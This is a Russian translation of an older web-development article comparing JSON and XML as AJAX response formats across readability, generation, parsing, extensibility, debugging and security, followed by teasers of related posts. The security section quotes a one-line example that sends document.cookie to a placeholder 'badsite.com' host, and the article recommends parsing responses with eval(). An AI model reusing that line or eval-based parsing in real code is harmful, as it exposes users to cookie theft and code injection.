Web-разработка: JSON И XML. Что лучше?
Примечание: ниже перевод обзорной статьи "JSON vs XML", посвященной JSON и его сравнению с XML по ряду критериев. Публикуется в целях популяризации JSON среди читателей Хабрахабра.
JSON (англ. JavaScript Object Notation) — формат обмена данными, легко читаем людьми, легко обрабатывается и генерируется программами.
Основан на подмножестве языка JavaScript, Standard ECMA-262 3rd Edition — декабрь 1999.
JSON — Википедия
Что является правильным форматом ответа на XMLHttpRequest в AJAX-приложениях? Для большинства приложений, основанных на разметке, ответ будет простым — HTML. Для информационно-ориентированных приложений выбор будет лежать между XML и JSON. До недавнего времени я не сильно задавался вопросом, что лучше использовать, XML или JSON. Я просто предполагал, что в каждом конкретном случае стоит выбирать наиболее подходящий формат, и все. Но недавно мне довелось проверить на практике этот подход. В этой заметке я опишу критерии, по которым проводил сравнение между XML и JSON, и собственные умозаключения.
Итак, критерии следующие.
Удобочитаемость кода.Простота создания объекта данных на стороне сервера.Простота обработки данных на стороне клиента.Простота расширения.Отладка и исправление ошибок.Безопасность.Удобочитаемость кода
Peter-Paul Kock c QuirksMode.org рассматривает удобочитаемость кода как основной критерий своего анализа. По моему мнению, она является только второстепенной целью, но вы с легкостью согласитесь, что JSON гораздо проще воспринимается «на глаз», чем XML — стоит просто посмотреть на следующие примеры.
XMLSubbuAllamarajuJSON ({ "firstName" : "Subbu", "lastName" : "Allamaraju" });
Но я готов поспорить, что возможность отладки и исправления ошибок гораздо важнее, чем удобочитаемость.
Простота создания
Формат XML уже известен много лет (прим.: первая рабочая версия была заявлена в 1996 году, а спецификация — уже в 2000), поэтому существует некоторый набор программных интерфейсов (API) для привязки данных к XML на нескольких языках программирования. Например, на Java можно использовать JAXB и XmlBeans для создания XML-ответа. Ниже приведен пример с использованием JAXB.
Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); Marshaller marshaller = ... // Создаем обхект marshaller marshaller.marshal(person, outputStream);
С другой стороны, все интерфейсы для создания ответа на JSON появились относительно недавно. Тем не менее, на JSON.org опубликован довольно впечатляющий их список на различных языках. Ниже приведен пример создания ответа при помощи Json-lib.
Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());
Если рассматривать функционирование таких программных интерфейсов, то создания JSON не сильно отличается от сериализации Java beans в объекты. Однако, стоит отметить, что сейчас известно гораздо больше способов генерации XML, нежели JSON. Некоторые из этих программных интерфейсов для XML существуют уже много лет и по этой причине могут быть стабильнее при использовании для сложных приложений.
Другим аспектом, который стоит рассмотреть, будет количество ресурсов, которое используется для генерации ответа. Если при получении данных уже производятся «тяжелые» операции, то для серверной части не составит большого труда дополнительно их преобразовывать в XML для ответа. Если же создание XML будет являться самой ресурсоемкой операцией, то лучше использовать JSON.
Простота использования
На стороне клиентского приложения обработка JSON-данных как ответа на XMLHttpRequest чрезвычайно проста.
var person = eval(xhr.responseText); alert(person.firstName);
Используя обычный eval(), можно преобразовать ответ в объект JavaScript. Как только эта операция произведена, можно получить доступ к данным, используя свойства преобразованного объекта. Это наиболее изящная часть всего JSON.
Теперь рассмотрим XML. Чтобы сделать нижеприведенный фрагмент кода прозрачнее, я убрал все проверки на ошибки.
var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); alert(elements[0].firstChild.textContent);
Очевидно, что при обработке данных, полученных от сервера, необходимо просмотреть все DOM-дерево. Это очень трудоемкая операция, и она предрасположена к появлению ошибок. К несчастью, в браузере нам приходится иметь дело именно с DOM. Браузеры не поддерживают языка запросов, наподобие XPath, для получения узлов дерева в XML-документе. Поддержка этих функций относится уже к XSLT, но он достаточно ограничен (прим.: в браузере) в плане преобразования XML в разметку (например, в HTML). Рабочая группа по программным Веб-интерфейсам (Web API Working Group) от W3C работает над интерфейсом селекторов (Selectors API), который может быть использован для применения CSS-селекторов при выборе узлов из объекта Document. Используя такой интерфейс можно будет преобразовать вышеприведенный пример кода в xml.match("person.firstName"), чтобы получить элемент firstName. Не сказать, что это большое достижение для XML-документа из этого примера, но может оказаться полезным для работы с сильно разветвленными документами. Этот интерфейс пока еще не завершен, и пройдут еще годы, прежде чем браузеры будут его поддерживать.
В общем, если я буду выбирать между XML и JSON, я предпочту JSON из-за простоты реализации обработки на стороне клиента.
Расширяемость
Расширяемость помогает уменьшить число связей между поставщиком и получателем данных. В контексте AJAX-приложений, скрипт на стороне клиента должен быть достаточно инвариантным относительно совместимых изменениях в данных.
По общему убеждению, XML автоматически является расширяемым просто благодаря наличию буквы «X». Но это не является безусловным правилом (т.е. действующим по умолчанию). Расширяемость XML исходит из того принципа, что вы можете определить дополнительные узлы в вашем XML, а затем применять правило «ненужное пропустить» (т.е. если при обработке XML вам встретился незнакомый элемент или атрибут, просто пропустите его).
Чтобы воспользоваться всеми преимуществами расширяемости, необходимо создавать код на стороне клиента с расчетом на эту самую расширяемость. Например, следующий пример развалится, если вы захотите вставить, например, элемент middleName.
var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;
Если вы вставите элемент сразу после элемента , в этом примере произойдет неверная интерпретация отчества как фамилии. Чтобы быть инвариантным относительно этого изменения, требуется переписать код, чтобы явно получать элемент , или доступаться к nextSibling, только если обнаружен потомок с нужным tagName. Таким образом, XML является расширяемым до тех пор, как вы пишет код, рассчитывая на будущую расширяемость. Все предельно просто.
Вернемся к JSON. Я утверждаю, что расширить JSON-данные проще, чем XML. Это бесспорно требует меньше усилий. Рассмотрим добавление свойства middleName к JSON-ответу. Для того, чтобы получить к нему доступ, вам достаточно просто его вызвать.
alert(person.middleName);
Этот код не изменится, если вы добавите отчество в ваш ответ. Но что делать в случае обработки человека с или без отчества? С JSON это просто.
if (person.middleName) { // Обработка }
Моя позиция заключается в том, что, если иметь в виду возможную будущую расширяемость, и XML-, JSON-данные могут быть расширены. Но с JSON расширять данные проще, чем с XML. Вам просто требуется проверить, что требуемое свойство существует у объекта, и действовать в соответствии с результатом проверки.
Существует и другая возможность расширить JSON-данные, она заключается в использовании вызовов функций вместе с объявлениями данных прямо в ответе.
alert("Hi - I'm a person"); ({"firstName" : "Subbu", "lastName" : "Allamaraju"});
Когда данные объявляются через eval(), браузер также вызовет выражение alert(). В этом случае, вы можете и загрузить данные, и выполнить функции. Этим подходом стоит пользоваться с большой оглядкой, ибо он засоряет ответ вызовами функций и создает связь между вызовами и данными. В некоторых источниках также рассматривается потенциальная уязвимость такого подхода с точки зрения безопасности, об этом более подробно изложено немного ниже.
Отладка и исправление ошибок
Этот аспект касается как серверной части вашего приложения, так и клиентской. На сервере необходимо удостовериться в том, что данные правильно сформированы и корректны. На стороне клиента должно быть просто отлаживать ошибки в ответе.
В случае XML, относительно просто проверять, что данные, отправляемые клиенту, правильно сформированы и корректны. Вы можете использовать schema для ваших данных, и применить ее для проверки данных. С JSON эта задача становится ручной и требует проверку того, что в результате ответа у объекта присутствуют правильные атрибуты.
На стороне клиента в обоих случаях тяжело обнаружить ошибки. Для XML браузер будет просто не способен преобразовать его в responseXML. При небольших объемах JSON-данных можно воспользоваться расширением FireBug для отладки и исправления ошибок. Но при больших объемах данных становится несколько затруднительно соотнести сообщение об ошибке с конкретным местом в коде.
Безопасность
Dave Johnson в своей заметке JSON и Золотое руно высказывает мнение, что JSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.
window.location = "http://badsite.com?" + document.cookie; person : { "firstName" : "Subbu", "lastName" : "Allamaraju" }
Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт. Но в данном случае, существует некоторое заблуждение в определении угрозы безопасности. Не следует доверять данным или коду, полученным из непроверенного источника. И во-вторых, мы не сможете использовать XMLHttpRequest для связи с доменами, отличными от домена-источника скрипта. Итак, только сами разработчики при создании приложения могут инициировать отправку cookies на сторонний сайт. Это довольно сомнительно, потому что они могут с тем же успехом разместить этот зловредный код где угодно в документе за пределами передаваемого от сервера ответа с данными. Возможно, я что-то упустил, но я не вижу смысла рассматривать JSON как небезопасный по сравнению с XML.
Мой выбор
В случае информационно-ориентированных приложений я предпочту использовать JSON, а не XML, в силу его простоты и легкости обработки данных на стороне клиента. XML может быть незаменимым на сервере, но с JSON определенно проще работать на клиенте.
Ссылки по темеJSON в ВикипедииВведение в JSONAdvanced Web Attack Techniques using GMail
Спасибо всем, кто прочитал этот перевод. Ценю и уважаю ваше мнение и комментарии. Постараюсь учесть все пожелания и не остаться в долгу. Если у вас возникнут какие-либо предложения по тематике будущих переводов, не стесняйтесь, напишите их — я постараюсь сделать подборку или детальный обзор материалов по этим темам. Спасибо за внимание.
- Ajax: AJAX для новичков Сейчас в сети Интернет наблюдается очень активное развитие (и даже использование) новых технологий. Одна из таких технологий - AJAX.Что такое AJAX? AJAX - это аббревиатура, которая означает Asynchronous Javascript and XML. На самом деле, AJAX не является новой технологией, так как и Javascript, и XML существуют уже довольно продолжительное время, а AJAX - это синтез обозначенных технологий. AJAX чаще всего ассоцириуется с термином Web 2.0 и преподносится как новейшее Web-приложение. При исполь
- Web-разработка: jQuery для JavaScript-программистов Примечание: ниже расположен перевод статьи "jQuery for JavaScript programmers", в которой автор высказывает свое мнение об этой библиотеке, ориентируясь, в первую очередь, на продвинутых программистов, и приводит несколько десятков примеров ее использования.Когда jQuery увидела свет в январе 2006, я подумал: «очередная красивая игрушка». Выбор CSS-селекторов в качестве базиса было, конечно, изящной идеей (подробнее о ней в моей заметке getElementsBySelector), но использование цепочек преобразов
- webdev_faq: AJAX: проблемы стабильности и надёжности при большой нагрузке на сервер. Последние пару месяцев пишу небольшое Ajax-приложение. Если коротко, то такой упрощённый браузерный Excel - фильтр сверху, табличка с данными снизу. Пользователь выбирает в фильтре, что он хочет редактировать, в табличку снизу подгружаются данные, пользователь их может редактировать, после изменения данных они отправляются на сервер, там обрабатываются, записываются в базу данных, сервер генерирует новые данные, графики, данные отправляет назад, графики отображаются отдельно в iFrame. До меня
- Web-разработка: FWC:SmartSelect - тулкит для работы с компонентами форм типа select, combobox и т.д. хей йо) начну. всем известны проблемы с тегом select в html: отсутствие возможности настройки внешнего вида, перекрывание абсолютно позиционированных слоев, отсутствие комбобоксов (выпадающих списков с возможностью ввода), отсутствие нормального мультивыбора и некоторые другие. все они имеют некоторые, чаще всего корявые, решения, которые врядли можно назвать панацеей. когда мне всё это надоело, я написал тулкит, который решает все эти проблемы одним махом. этот тулкит позволяет максимально пр
- Opera создает необычный интернет-поисковик МАМА Компания Opera Software приступила к созданию поисковой системы, которая позволит изучать структуру веб-страниц во всемирной сети. После своего официального выхода через несколько месяцев, система должна позволить разработчикам браузеров и комитетам по стандартизации совместно создавать более совместимый и соответствующий стандартам Интернет.Поисковая системы MAMA (Metadata Analysis and Mining Application) является детищем инженеров компании и позволяет индексировать разметку, стиль, использова